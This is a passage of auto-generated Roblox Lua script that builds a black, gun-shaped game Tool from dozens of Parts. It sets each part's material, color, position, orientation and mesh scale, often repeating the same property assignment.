  594. Part21.BottomSurface = Enum.SurfaceType.Smooth
  595. Part21.TopSurface = Enum.SurfaceType.Smooth
  596. Part21.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  597. Part21.Position = Vector3.new(6.36203718, 1.35753798, -96.8926926)
  598. Part21.Orientation = Vector3.new(0, 90, 0)
  599. Part21.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  600. BlockMesh22.Parent = Part21
  601. BlockMesh22.Scale = Vector3.new(0.045454517, 0.290909022, 0.0818181857)
  602. BlockMesh22.Scale = Vector3.new(0.045454517, 0.290909022, 0.0818181857)
  603. Part23.Parent = Tool0
  604. Part23.Material = Enum.Material.SmoothPlastic
  605. Part23.BrickColor = BrickColor.new("Really black")
  606. Part23.Reflectance = 0.10000000149012
  607. Part23.Rotation = Vector3.new(0, 0, 90)
  608. Part23.Anchored = true
  609. Part23.FormFactor = Enum.FormFactor.Symmetric
  610. Part23.Size = Vector3.new(1, 1, 1)
  611. Part23.CFrame = CFrame.new(6.2330451, 2.0382731, -95.1531525, 0, -0.999999702, 0, 0.999999702, 0, 0, 0, 0, 1)
  612. Part23.BottomSurface = Enum.SurfaceType.Smooth
  613. Part23.TopSurface = Enum.SurfaceType.Smooth
  614. Part23.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  615. Part23.Position = Vector3.new(6.2330451, 2.0382731, -95.1531525)
  616. Part23.Orientation = Vector3.new(0, 0, 90)
  617. Part23.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  618. BlockMesh24.Parent = Part23
  619. BlockMesh24.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  620. BlockMesh24.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  621. Part25.Parent = Tool0
  622. Part25.Material = Enum.Material.SmoothPlastic
  623. Part25.BrickColor = BrickColor.new("Really black")
  624. Part25.Reflectance = 0.10000000149012
  625. Part25.Rotation = Vector3.new(180, -90, 0)
  626. Part25.Anchored = true
  627. Part25.FormFactor = Enum.FormFactor.Symmetric
  628. Part25.Size = Vector3.new(1, 1, 1)
  629. Part25.CFrame = CFrame.new(6.43477106, 1.36208701, -96.8926926, 1.33953861e-08, -2.81533835e-06, -1, -8.00326234e-07, -1, 2.85904912e-06, -1, 8.00319185e-07, -1.33979974e-08)
  630. Part25.BottomSurface = Enum.SurfaceType.Smooth
  631. Part25.TopSurface = Enum.SurfaceType.Smooth
  632. Part25.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  633. Part25.Position = Vector3.new(6.43477106, 1.36208701, -96.8926926)
  634. Part25.Orientation = Vector3.new(0, -90, -180)
  635. Part25.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  636. SpecialMesh26.Parent = Part25
  637. SpecialMesh26.Scale = Vector3.new(0.0454545468, 0.281818122, 0.06363637)
  638. SpecialMesh26.MeshType = Enum.MeshType.Wedge
  639. SpecialMesh26.Scale = Vector3.new(0.0454545468, 0.281818122, 0.06363637)
  640. Part27.Parent = Tool0
  641. Part27.Material = Enum.Material.SmoothPlastic
  642. Part27.BrickColor = BrickColor.new("Really black")
  643. Part27.Reflectance = 0.20000000298023
  644. Part27.Rotation = Vector3.new(0, -75, -90)
  645. Part27.Anchored = true
  646. Part27.FormFactor = Enum.FormFactor.Symmetric
  647. Part27.Size = Vector3.new(1, 1, 1)
  648. Part27.CFrame = CFrame.new(6.24688196, 1.65223598, -95.4359818, 0, 0.258819073, -0.965925813, -1, 0, 0, 0, 0.965925813, 0.258819073)
  649. Part27.BottomSurface = Enum.SurfaceType.Smooth
  650. Part27.TopSurface = Enum.SurfaceType.Smooth
  651. Part27.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  652. Part27.Position = Vector3.new(6.24688196, 1.65223598, -95.4359818)
  653. Part27.Orientation = Vector3.new(0, -75, -90)
  654. Part27.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  655. CylinderMesh28.Parent = Part27
  656. CylinderMesh28.Scale = Vector3.new(0.0636363626, 0.0545454584, 0.0545454472)
  657. CylinderMesh28.Scale = Vector3.new(0.0636363626, 0.0545454584, 0.0545454472)
  658. Part29.Parent = Tool0
  659. Part29.Material = Enum.Material.SmoothPlastic
  660. Part29.BrickColor = BrickColor.new("Really black")
  661. Part29.Reflectance = 0.10000000149012
  662. Part29.Rotation = Vector3.new(0, 0, 135)
  663. Part29.Anchored = true
  664. Part29.FormFactor = Enum.FormFactor.Symmetric
  665. Part29.Size = Vector3.new(1, 1, 1)
  666. Part29.CFrame = CFrame.new(6.26573706, 1.95934796, -95.1531525, -0.707106113, -0.707106113, 0, 0.707106113, -0.707106113, 0, 0, -0, 1)
  667. Part29.BottomSurface = Enum.SurfaceType.Smooth
  668. Part29.TopSurface = Enum.SurfaceType.Smooth
  669. Part29.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  670. Part29.Position = Vector3.new(6.26573706, 1.95934796, -95.1531525)
  671. Part29.Orientation = Vector3.new(0, 0, 135)
  672. Part29.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  673. BlockMesh30.Parent = Part29
  674. BlockMesh30.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  675. BlockMesh30.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  676. Part31.Parent = Tool0
  677. Part31.Material = Enum.Material.SmoothPlastic
  678. Part31.BrickColor = BrickColor.new("Really black")
  679. Part31.Reflectance = 0.20000000298023
  680. Part31.Rotation = Vector3.new(-180, 0, 90)
  681. Part31.Anchored = true
  682. Part31.FormFactor = Enum.FormFactor.Symmetric
  683. Part31.Size = Vector3.new(1, 1, 1)
  684. Part31.CFrame = CFrame.new(6.23304319, 2.0382731, -94.9986115, 0, -1, -4.37113883e-08, -1, 0, 0, 0, 4.37113883e-08, -1)
  685. Part31.BottomSurface = Enum.SurfaceType.Smooth
  686. Part31.TopSurface = Enum.SurfaceType.Smooth
  687. Part31.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  688. Part31.Position = Vector3.new(6.23304319, 2.0382731, -94.9986115)
  689. Part31.Orientation = Vector3.new(0, -180, -90)
  690. Part31.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  691. CylinderMesh32.Parent = Part31
  692. CylinderMesh32.Scale = Vector3.new(0.100000001, 0.0545454472, 0.109090917)
  693. CylinderMesh32.Scale = Vector3.new(0.100000001, 0.0545454472, 0.109090917)
  694. Part33.Parent = Tool0
  695. Part33.Material = Enum.Material.SmoothPlastic
  696. Part33.BrickColor = BrickColor.new("Really black")
  697. Part33.Reflectance = 0.10000000149012
  698. Part33.Rotation = Vector3.new(-90, 62.329998, 90)
  699. Part33.Anchored = true
  700. Part33.FormFactor = Enum.FormFactor.Symmetric
  701. Part33.Size = Vector3.new(1, 1, 1)
  702. Part33.CFrame = CFrame.new(6.32187986, 1.584571, -96.4654312, 0, -0.46439907, 0.885626554, 0, 0.885626554, 0.46439907, -1, 0, 0)
  703. Part33.BottomSurface = Enum.SurfaceType.Smooth
  704. Part33.TopSurface = Enum.SurfaceType.Smooth
  705. Part33.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  706. Part33.Position = Vector3.new(6.32187986, 1.584571, -96.4654312)
  707. Part33.Orientation = Vector3.new(-27.6700001, 90, 0)
  708. Part33.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  709. BlockMesh34.Parent = Part33
  710. BlockMesh34.Scale = Vector3.new(0.827272892, 0.0727272779, 0.0454545394)
  711. BlockMesh34.Scale = Vector3.new(0.827272892, 0.0727272779, 0.0454545394)
  712. Part35.Parent = Tool0
  713. Part35.Material = Enum.Material.SmoothPlastic
  714. Part35.BrickColor = BrickColor.new("Really black")
  715. Part35.Reflectance = 0.10000000149012
  716. Part35.Rotation = Vector3.new(0, 90, 0)
  717. Part35.Anchored = true
  718. Part35.FormFactor = Enum.FormFactor.Symmetric
  719. Part35.Size = Vector3.new(1, 1, 1)
  720. Part35.CFrame = CFrame.new(6.36203718, 1.42495096, -96.3290634, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  721. Part35.BottomSurface = Enum.SurfaceType.Smooth
  722. Part35.TopSurface = Enum.SurfaceType.Smooth
  723. Part35.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  724. Part35.Position = Vector3.new(6.36203718, 1.42495096, -96.3290634)
  725. Part35.Orientation = Vector3.new(0, 90, 0)
  726. Part35.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  727. BlockMesh36.Parent = Part35
  728. BlockMesh36.Scale = Vector3.new(0.227272674, 0.0636363626, 0.100000016)
  729. BlockMesh36.Scale = Vector3.new(0.227272674, 0.0636363626, 0.100000016)
  730. Part37.Parent = Tool0
  731. Part37.Material = Enum.Material.SmoothPlastic
  732. Part37.BrickColor = BrickColor.new("Really black")
  733. Part37.Reflectance = 0.10000000149012
  734. Part37.Rotation = Vector3.new(54, 0, -180)
  735. Part37.Anchored = true
  736. Part37.FormFactor = Enum.FormFactor.Symmetric
  737. Part37.Size = Vector3.new(1, 1, 1)
  738. Part37.CFrame = CFrame.new(6.36203718, 1.31867599, -96.5784378, -0.99999994, 3.55271368e-15, 4.37113847e-08, -3.53632537e-08, -0.587785363, -0.809016943, 2.56929127e-08, -0.809016943, 0.587785363)
  739. Part37.BottomSurface = Enum.SurfaceType.Smooth
  740. Part37.TopSurface = Enum.SurfaceType.Smooth
  741. Part37.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  742. Part37.Position = Vector3.new(6.36203718, 1.31867599, -96.5784378)
  743. Part37.Orientation = Vector3.new(54, 0, -180)
  744. Part37.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  745. SpecialMesh38.Parent = Part37
  746. SpecialMesh38.Scale = Vector3.new(0.100000061, 0.0545454621, 0.0636363402)
  747. SpecialMesh38.MeshType = Enum.MeshType.Wedge
  748. SpecialMesh38.Scale = Vector3.new(0.100000061, 0.0545454621, 0.0636363402)
  749. Part39.Parent = Tool0
  750. Part39.Material = Enum.Material.SmoothPlastic
  751. Part39.BrickColor = BrickColor.new("Really black")
  752. Part39.Reflectance = 0.10000000149012
  753. Part39.Rotation = Vector3.new(0, 90, 0)
  754. Part39.Anchored = true
  755. Part39.FormFactor = Enum.FormFactor.Symmetric
  756. Part39.Size = Vector3.new(1, 1, 1)
  757. Part39.CFrame = CFrame.new(6.36203718, 1.47495496, -96.5336075, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  758. Part39.BottomSurface = Enum.SurfaceType.Smooth
  759. Part39.TopSurface = Enum.SurfaceType.Smooth
  760. Part39.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  761. Part39.Position = Vector3.new(6.36203718, 1.47495496, -96.5336075)
  762. Part39.Orientation = Vector3.new(0, 90, 0)
  763. Part39.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  764. BlockMesh40.Parent = Part39
  765. BlockMesh40.Scale = Vector3.new(0.672727585, 0.109090917, 0.0272727218)
  766. BlockMesh40.Scale = Vector3.new(0.672727585, 0.109090917, 0.0272727218)
  767. Part41.Parent = Tool0
  768. Part41.Material = Enum.Material.SmoothPlastic
  769. Part41.BrickColor = BrickColor.new("Really black")
  770. Part41.Reflectance = 0.10000000149012
  771. Part41.Rotation = Vector3.new(90, -90, 0)
  772. Part41.Anchored = true
  773. Part41.FormFactor = Enum.FormFactor.Symmetric
  774. Part41.Size = Vector3.new(1, 1, 1)
  775. Part41.CFrame = CFrame.new(6.36203718, 1.64405298, -96.4654312, 0, 4.37113883e-08, -1, -1, 0, 0, 0, 1, 4.37113883e-08)
  776. Part41.BottomSurface = Enum.SurfaceType.Smooth
  777. Part41.TopSurface = Enum.SurfaceType.Smooth
  778. Part41.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  779. Part41.Position = Vector3.new(6.36203718, 1.64405298, -96.4654312)
  780. Part41.Orientation = Vector3.new(0, -90, -90)
  781. Part41.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  782. CylinderMesh42.Parent = Part41
  783. CylinderMesh42.Scale = Vector3.new(0.172727302, 0.827272952, 0.172727302)
  784. CylinderMesh42.Scale = Vector3.new(0.172727302, 0.827272952, 0.172727302)
  785. Part43.Parent = Tool0
  786. Part43.Material = Enum.Material.SmoothPlastic
  787. Part43.BrickColor = BrickColor.new("Really black")
  788. Part43.Reflectance = 0.10000000149012
  789. Part43.Rotation = Vector3.new(-22.5, 90, 0)
  790. Part43.Anchored = true
  791. Part43.FormFactor = Enum.FormFactor.Symmetric
  792. Part43.Size = Vector3.new(1, 1, 1)
  793. Part43.CFrame = CFrame.new(6.36203718, 1.32489395, -96.667366, 0, 0, 1, -0.382683337, 0.923879266, 0, -0.923879266, -0.382683337, 0)
  794. Part43.BottomSurface = Enum.SurfaceType.Smooth
  795. Part43.TopSurface = Enum.SurfaceType.Smooth
  796. Part43.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  797. Part43.Position = Vector3.new(6.36203718, 1.32489395, -96.667366)
  798. Part43.Orientation = Vector3.new(0, 90, -22.5)
  799. Part43.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  800. BlockMesh44.Parent = Part43
  801. BlockMesh44.Scale = Vector3.new(0.454545945, 0.0181818195, 0.0818181857)
  802. BlockMesh44.Scale = Vector3.new(0.454545945, 0.0181818195, 0.0818181857)
  803. Part45.Parent = Tool0
  804. Part45.Material = Enum.Material.SmoothPlastic
  805. Part45.BrickColor = BrickColor.new("Really black")
  806. Part45.Reflectance = 0.20000000298023
  807. Part45.Rotation = Vector3.new(-90, 0, 0)
  808. Part45.Anchored = true
  809. Part45.FormFactor = Enum.FormFactor.Symmetric
  810. Part45.Size = Vector3.new(1, 1, 1)
  811. Part45.CFrame = CFrame.new(6.36203384, 1.64314198, -96.015419, 0.999999404, 0, 0, 0, 0, 0.999998987, 0, -0.999999464, 4.37113457e-08)
  812. Part45.BottomSurface = Enum.SurfaceType.Smooth
  813. Part45.TopSurface = Enum.SurfaceType.Smooth
  814. Part45.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  815. Part45.Position = Vector3.new(6.36203384, 1.64314198, -96.015419)
  816. Part45.Orientation = Vector3.new(-89.9199982, 0, 0)
  817. Part45.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  818. CylinderMesh46.Parent = Part45
  819. CylinderMesh46.Scale = Vector3.new(0.136363655, 0.981818378, 0.136363655)
  820. CylinderMesh46.Scale = Vector3.new(0.136363655, 0.981818378, 0.136363655)
  821. Part47.Parent = Tool0
  822. Part47.Material = Enum.Material.SmoothPlastic
  823. Part47.BrickColor = BrickColor.new("Really black")
  824. Part47.Reflectance = 0.10000000149012
  825. Part47.Rotation = Vector3.new(180, 90, 0)
  826. Part47.Anchored = true
  827. Part47.FormFactor = Enum.FormFactor.Symmetric
  828. Part47.Size = Vector3.new(1, 1, 1)
  829. Part47.CFrame = CFrame.new(6.28931379, 1.36208701, -96.8926926, -1.33953861e-08, -2.81533835e-06, 1, 8.00326234e-07, -1, -2.85904912e-06, 1, 8.00319185e-07, 1.33979974e-08)
  830. Part47.BottomSurface = Enum.SurfaceType.Smooth
  831. Part47.TopSurface = Enum.SurfaceType.Smooth
  832. Part47.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  833. Part47.Position = Vector3.new(6.28931379, 1.36208701, -96.8926926)
  834. Part47.Orientation = Vector3.new(0, 90, 180)
  835. Part47.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  836. SpecialMesh48.Parent = Part47
  837. SpecialMesh48.Scale = Vector3.new(0.0454545468, 0.281818122, 0.06363637)
  838. SpecialMesh48.MeshType = Enum.MeshType.Wedge
  839. SpecialMesh48.Scale = Vector3.new(0.0454545468, 0.281818122, 0.06363637)
  840. Part49.Parent = Tool0
  841. Part49.Material = Enum.Material.SmoothPlastic
  842. Part49.BrickColor = BrickColor.new("Really black")
  843. Part49.Reflectance = 0.10000000149012
  844. Part49.Rotation = Vector3.new(0, 90, 0)
  845. Part49.Anchored = true
  846. Part49.FormFactor = Enum.FormFactor.Symmetric
  847. Part49.Size = Vector3.new(1, 1, 1)
  848. Part49.CFrame = CFrame.new(6.36203718, 1.57132101, -96.8926926, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  849. Part49.BottomSurface = Enum.SurfaceType.Smooth
  850. Part49.TopSurface = Enum.SurfaceType.Smooth
  851. Part49.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  852. Part49.Position = Vector3.new(6.36203718, 1.57132101, -96.8926926)
  853. Part49.Orientation = Vector3.new(0, 90, 0)
  854. Part49.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  855. BlockMesh50.Parent = Part49
  856. BlockMesh50.Scale = Vector3.new(0.0454544611, 0.136363804, 0.209090918)
  857. BlockMesh50.Scale = Vector3.new(0.0454544611, 0.136363804, 0.209090918)
  858. Part51.Parent = Tool0
  859. Part51.Material = Enum.Material.SmoothPlastic
  860. Part51.BrickColor = BrickColor.new("Really black")
  861. Part51.Reflectance = 0.10000000149012
  862. Part51.Rotation = Vector3.new(90, -90, 0)
  863. Part51.Anchored = true
  864. Part51.FormFactor = Enum.FormFactor.Symmetric
  865. Part51.Size = Vector3.new(1, 1, 1)
  866. Part51.CFrame = CFrame.new(6.36203718, 1.64405298, -96.8926926, 0, 4.37113883e-08, -1, -1, 0, 0, 0, 1, 4.37113883e-08)
  867. Part51.BottomSurface = Enum.SurfaceType.Smooth
  868. Part51.TopSurface = Enum.SurfaceType.Smooth
  869. Part51.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  870. Part51.Position = Vector3.new(6.36203718, 1.64405298, -96.8926926)
  871. Part51.Orientation = Vector3.new(0, -90, -90)
  872. Part51.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  873. CylinderMesh52.Parent = Part51
  874. CylinderMesh52.Scale = Vector3.new(0.209090918, 0.0454545468, 0.209090918)
  875. CylinderMesh52.Scale = Vector3.new(0.209090918, 0.0454545468, 0.209090918)
  876. Part53.Name = "SmokePart"
  877. Part53.Parent = Tool0
  878. Part53.Material = Enum.Material.SmoothPlastic
  879. Part53.BrickColor = BrickColor.new("Really black")
  880. Part53.Reflectance = 0.20000000298023
  881. Part53.Rotation = Vector3.new(90, 0, -180)
  882. Part53.Anchored = true
  883. Part53.FormFactor = Enum.FormFactor.Symmetric
  884. Part53.Size = Vector3.new(1, 1, 1)
  885. Part53.CFrame = CFrame.new(6.36203909, 1.65285897, -92.1933136, -1, 0, 0, 0, 8.94069956e-08, -1.0000006, 0, -1.0000006, -8.94069956e-08)
  886. Part53.BottomSurface = Enum.SurfaceType.Smooth
  887. Part53.TopSurface = Enum.SurfaceType.Smooth
  888. Part53.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  889. Part53.Position = Vector3.new(6.36203909, 1.65285897, -92.1933136)
  890. Part53.Orientation = Vector3.new(90, 180, 0)
  891. Part53.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  892. CylinderMesh54.Parent = Part53
  893. CylinderMesh54.Scale = Vector3.new(0.118181825, 0.236364499, 0.290909171)
  894. CylinderMesh54.Scale = Vector3.new(0.118181825, 0.236364499, 0.290909171)
  895. Part55.Parent = Tool0
  896. Part55.Material = Enum.Material.SmoothPlastic
  897. Part55.BrickColor = BrickColor.new("Really black")
  898. Part55.Reflectance = 0.20000000298023
  899. Part55.Rotation = Vector3.new(90, 0, -180)
  900. Part55.Anchored = true
  901. Part55.FormFactor = Enum.FormFactor.Symmetric
  902. Part55.Size = Vector3.new(1, 1, 1)
  903. Part55.CFrame = CFrame.new(6.36158705, 1.65285897, -92.2978592, -1, 0, 0, 0, 8.94069956e-08, -1.0000006, 0, -1.0000006, -8.94069956e-08)
  904. Part55.BottomSurface = Enum.SurfaceType.Smooth
  905. Part55.TopSurface = Enum.SurfaceType.Smooth
  906. Part55.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  907. Part55.Position = Vector3.new(6.36158705, 1.65285897, -92.2978592)
  908. Part55.Orientation = Vector3.new(90, 180, 0)
  909. Part55.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  910. CylinderMesh56.Parent = Part55
  911. CylinderMesh56.Scale = Vector3.new(0.0909090936, 0.0818191767, 0.27272737)
  912. CylinderMesh56.Scale = Vector3.new(0.0909090936, 0.0818191767, 0.27272737)
  913. Part57.Parent = Tool0
  914. Part57.Material = Enum.Material.SmoothPlastic
  915. Part57.BrickColor = BrickColor.new("Really black")
  916. Part57.Reflectance = 0.10000000149012
  917. Part57.Rotation = Vector3.new(-180, 0, -180)
  918. Part57.Anchored = true
  919. Part57.FormFactor = Enum.FormFactor.Symmetric
  920. Part57.Size = Vector3.new(1, 1, 1)
  921. Part57.CFrame = CFrame.new(6.36203384, 1.48859501, -93.8790741, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  922. Part57.BottomSurface = Enum.SurfaceType.Smooth
  923. Part57.TopSurface = Enum.SurfaceType.Smooth
  924. Part57.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  925. Part57.Position = Vector3.new(6.36203384, 1.48859501, -93.8790741)
  926. Part57.Orientation = Vector3.new(0, 180, 0)
  927. Part57.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  928. BlockMesh58.Parent = Part57
  929. BlockMesh58.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  930. BlockMesh58.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  931. Part59.Parent = Tool0
  932. Part59.Material = Enum.Material.SmoothPlastic
  933. Part59.BrickColor = BrickColor.new("Really black")
  934. Part59.Reflectance = 0.20000000298023
  935. Part59.Rotation = Vector3.new(0, 90, 0)
  936. Part59.Anchored = true
  937. Part59.FormFactor = Enum.FormFactor.Symmetric
  938. Part59.Size = Vector3.new(1, 1, 1)
  939. Part59.CFrame = CFrame.new(6.36202621, 1.58469296, -93.1751251, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  940. Part59.BottomSurface = Enum.SurfaceType.Smooth
  941. Part59.TopSurface = Enum.SurfaceType.Smooth
  942. Part59.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  943. Part59.Position = Vector3.new(6.36202621, 1.58469296, -93.1751251)
  944. Part59.Orientation = Vector3.new(0, 90, 0)
  945. Part59.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  946. BlockMesh60.Parent = Part59
  947. BlockMesh60.Scale = Vector3.new(0.0545454584, 0.0636362582, 0.0818181857)
  948. BlockMesh60.Scale = Vector3.new(0.0545454584, 0.0636362582, 0.0818181857)
  949. Part61.Parent = Tool0
  950. Part61.Material = Enum.Material.SmoothPlastic
  951. Part61.BrickColor = BrickColor.new("Really black")
  952. Part61.Reflectance = 0.20000000298023
  953. Part61.Rotation = Vector3.new(0, 90, 0)
  954. Part61.Anchored = true
  955. Part61.FormFactor = Enum.FormFactor.Symmetric
  956. Part61.Size = Vector3.new(1, 1, 1)
  957. Part61.CFrame = CFrame.new(6.36202621, 1.73941195, -93.2069473, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  958. Part61.BottomSurface = Enum.SurfaceType.Smooth
  959. Part61.TopSurface = Enum.SurfaceType.Smooth
  960. Part61.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  961. Part61.Position = Vector3.new(6.36202621, 1.73941195, -93.2069473)
  962. Part61.Orientation = Vector3.new(0, 90, 0)
  963. Part61.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  964. BlockMesh62.Parent = Part61
  965. BlockMesh62.Scale = Vector3.new(0.027272705, 0.0818180665, 0.0454545431)
  966. BlockMesh62.Scale = Vector3.new(0.027272705, 0.0818180665, 0.0454545431)
  967. Part63.Parent = Tool0
  968. Part63.Material = Enum.Material.SmoothPlastic
  969. Part63.BrickColor = BrickColor.new("Really black")
  970. Part63.Reflectance = 0.20000000298023
  971. Part63.Rotation = Vector3.new(0, 90, 0)
  972. Part63.Anchored = true
  973. Part63.FormFactor = Enum.FormFactor.Symmetric
  974. Part63.Size = Vector3.new(1, 1, 1)
  975. Part63.CFrame = CFrame.new(6.36202621, 1.54375899, -93.1569443, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  976. Part63.BottomSurface = Enum.SurfaceType.Smooth
  977. Part63.TopSurface = Enum.SurfaceType.Smooth
  978. Part63.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  979. Part63.Position = Vector3.new(6.36202621, 1.54375899, -93.1569443)
  980. Part63.Orientation = Vector3.new(0, 90, 0)
  981. Part63.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  982. BlockMesh64.Parent = Part63
  983. BlockMesh64.Scale = Vector3.new(0.0909091011, 0.054545328, 0.0454545468)
  984. BlockMesh64.Scale = Vector3.new(0.0909091011, 0.054545328, 0.0454545468)
  985. Part65.Parent = Tool0
  986. Part65.Material = Enum.Material.SmoothPlastic
  987. Part65.BrickColor = BrickColor.new("Really black")
  988. Part65.Rotation = Vector3.new(-90, 0, -180)
  989. Part65.Anchored = true
  990. Part65.FormFactor = Enum.FormFactor.Symmetric
  991. Part65.Size = Vector3.new(1, 1, 1)
  992. Part65.CFrame = CFrame.new(6.4563632, 1.85671496, -93.7594299, -1, 0, 4.37113883e-08, 0, 0, 1, 0, 1, 0)
  993. Part65.BottomSurface = Enum.SurfaceType.Smooth
  994. Part65.TopSurface = Enum.SurfaceType.Smooth
  995. Part65.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  996. Part65.Position = Vector3.new(6.4563632, 1.85671496, -93.7594299)
  997. Part65.Orientation = Vector3.new(-90, -180, 0)
  998. Part65.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  999. CylinderMesh66.Parent = Part65
  1000. CylinderMesh66.Scale = Vector3.new(0.118181728, 0.436363578, 0.118181825)
  1001. CylinderMesh66.Scale = Vector3.new(0.118181728, 0.436363578, 0.118181825)
  1002. Part67.Parent = Tool0
  1003. Part67.Material = Enum.Material.SmoothPlastic
  1004. Part67.BrickColor = BrickColor.new("Really black")
  1005. Part67.Reflectance = 0.10000000149012
  1006. Part67.Rotation = Vector3.new(-180, 0, -90)
  1007. Part67.Anchored = true
  1008. Part67.FormFactor = Enum.FormFactor.Symmetric
  1009. Part67.Size = Vector3.new(1, 1, 1)
  1010. Part67.CFrame = CFrame.new(6.19839716, 1.65223598, -93.8790741, -3.55271368e-15, 1, -4.37113918e-08, 1, 0, 4.37113812e-08, 4.37113812e-08, -4.37113918e-08, -1)
  1011. Part67.BottomSurface = Enum.SurfaceType.Smooth
  1012. Part67.TopSurface = Enum.SurfaceType.Smooth
  1013. Part67.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1014. Part67.Position = Vector3.new(6.19839716, 1.65223598, -93.8790741)
  1015. Part67.Orientation = Vector3.new(0, -180, 90)
  1016. Part67.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1017. BlockMesh68.Parent = Part67
  1018. BlockMesh68.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  1019. BlockMesh68.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  1020. Part69.Parent = Tool0
  1021. Part69.Material = Enum.Material.SmoothPlastic
  1022. Part69.BrickColor = BrickColor.new("Really black")
  1023. Part69.Reflectance = 0.20000000298023
  1024. Part69.Rotation = Vector3.new(0, 90, 0)
  1025. Part69.Anchored = true
  1026. Part69.FormFactor = Enum.FormFactor.Symmetric
  1027. Part69.Size = Vector3.new(1, 1, 1)
  1028. Part69.CFrame = CFrame.new(6.36202621, 1.75759399, -93.3842239, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1029. Part69.BottomSurface = Enum.SurfaceType.Smooth
  1030. Part69.TopSurface = Enum.SurfaceType.Smooth
  1031. Part69.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1032. Part69.Position = Vector3.new(6.36202621, 1.75759399, -93.3842239)
  1033. Part69.Orientation = Vector3.new(0, 90, 0)
  1034. Part69.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1035. BlockMesh70.Parent = Part69
  1036. BlockMesh70.Scale = Vector3.new(0.0363636389, 0.136363626, 0.0818181857)
  1037. BlockMesh70.Scale = Vector3.new(0.0363636389, 0.136363626, 0.0818181857)
  1038. Part71.Parent = Tool0
  1039. Part71.Material = Enum.Material.SmoothPlastic
  1040. Part71.BrickColor = BrickColor.new("Really black")
  1041. Part71.Rotation = Vector3.new(-90, 0, -180)
  1042. Part71.Anchored = true
  1043. Part71.FormFactor = Enum.FormFactor.Symmetric
  1044. Part71.Size = Vector3.new(1, 1, 1)
  1045. Part71.CFrame = CFrame.new(6.2745471, 1.85671496, -93.7594299, -1, 0, 4.37113883e-08, 0, 0, 1, 0, 1, 0)
  1046. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1047. Part71.TopSurface = Enum.SurfaceType.Smooth
  1048. Part71.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1049. Part71.Position = Vector3.new(6.2745471, 1.85671496, -93.7594299)
  1050. Part71.Orientation = Vector3.new(-90, -180, 0)
  1051. Part71.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1052. CylinderMesh72.Parent = Part71
  1053. CylinderMesh72.Scale = Vector3.new(0.118181728, 0.436363578, 0.118181825)
  1054. CylinderMesh72.Scale = Vector3.new(0.118181728, 0.436363578, 0.118181825)
  1055. Part73.Parent = Tool0
  1056. Part73.Material = Enum.Material.SmoothPlastic
  1057. Part73.BrickColor = BrickColor.new("Really black")
  1058. Part73.Reflectance = 0.20000000298023
  1059. Part73.Rotation = Vector3.new(90, 81, -90)
